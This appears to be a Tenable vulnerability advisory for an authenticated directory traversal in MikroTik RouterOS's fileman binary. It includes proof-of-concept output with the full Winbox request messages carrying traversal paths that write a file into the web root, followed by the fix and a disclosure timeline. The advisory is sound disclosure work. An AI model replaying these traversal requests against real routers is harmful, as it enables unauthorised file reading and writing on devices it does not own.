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MikroTik RouterOS Authenticated Directory Traversal

High

Synopsis

Tenable discovered a vulnerability while analyzing MikroTik's RouterOS 6.42.12 (a long-term release). The vulnerability is an authenticated, remote directory traversal that gives an authenticated attacker mkdir, read, and write access to files outside of the sandbox path, /rw/disk. An attacker has read access to the entire filesystem and write access to all locations that aren't marked as read-only.

This vulnerability is very similar to CVE-2018-14847. The major difference is that this new vulnerability exists in the fileman binary (SYS_TO number: 72) and it requires authentication to invoke it. Otherwise, the traversal logic is the same and it can be reached over HTTP or Winbox (8291).

The following output is from a proof of concept that creates a webpage that simply says "hello!"

[email protected]:~/routeros/poc/cve_2019_3943/build$ curl http://192.168.1.15/webfig/lol.txt
<html>
<head><title>Error 404: Not Found</title></head>
<body>
<h1>Error 404: Not Found</h1>
</body>
</html>
[email protected]:~/routeros/poc/cve_2019_3943/build$ ./cve_2019_3943_poc -i 192.168.1.15 -p 8291
req: {bff0005:1,uff0006:1,uff0007:6,s1:'//./.././.././../pckg/lol',Uff0001:[72,1]}
resp: {uff0003:2,uff0006:1,Uff0001:[],Uff0002:[72,1]}
req: {bff0005:1,uff0006:2,uff0007:6,s1:'//./.././.././../pckg/lol/home',Uff0001:[72,1]}
resp: {uff0003:2,uff0006:2,Uff0001:[],Uff0002:[72,1]}
req: {bff0005:1,uff0006:3,uff0007:6,s1:'//./.././.././../pckg/lol/home/web/',Uff0001:[72,1]}
resp: {uff0003:2,uff0006:3,Uff0001:[],Uff0002:[72,1]}
req: {bff0005:1,uff0006:4,uff0007:6,s1:'//./.././.././../pckg/lol/home/web/webfig',Uff0001:[72,1]}
resp: {uff0003:2,uff0006:4,Uff0001:[],Uff0002:[72,1]}
req: {bff0005:1,uff0006:5,uff0007:1,s1:'//./.././.././../pckg/lol/home/web/webfig/lol.txt',Uff0001:[72,1]}
resp: {ufe0001:1,uff0003:2,uff0006:5,Uff0001:[],Uff0002:[72,1]}
req: {bff0005:1,ufe0001:1,uff0006:6,uff0007:2,r5:[104,101,108,108,111,33,10],Uff0001:[72,1]}
resp: {uff0003:2,uff0006:6,Uff0001:[],Uff0002:[72,1]}
[email protected]:~/routeros/poc/cve_2019_3943/build$ curl http://192.168.1.15/webfig/lol.txt
hello!
[email protected]:~/routeros/poc/cve_2019_3943/build$

Solution

Upgrade to RouterOS 6.44RC1 or newer for all releases (long-term, stable, and test)

Disclosure Timeline

02/11/2019 - Initial discovery.
02/12/2019 - Reported to MikroTik. 90 days is May 14.
02/13/2019 - MikroTik states, "we are looking into it, and will let you know as soon as we have reproduced it and provided a fix. "
04/03/2019 - Tenable asks if MikroTik was able to reproduce.
04/08/2019 - MikroTik states, "The problem was resolved February 13, the fixed version 6.44 was released to web on February 15 as RC1 and later made it into 6.44 stable release too."
04/08/2019 - Tenable thanks MikroTik.
04/08/2019 - Tenable verifies the fix did in fact go out in February. Tenable notes, no information about the patch appears in the RouterOS release notes. Tenable was also not notified.
04/08/2019 - It has been pointed out there is a changelog entry. It reads: "webfig: improved file handling;"

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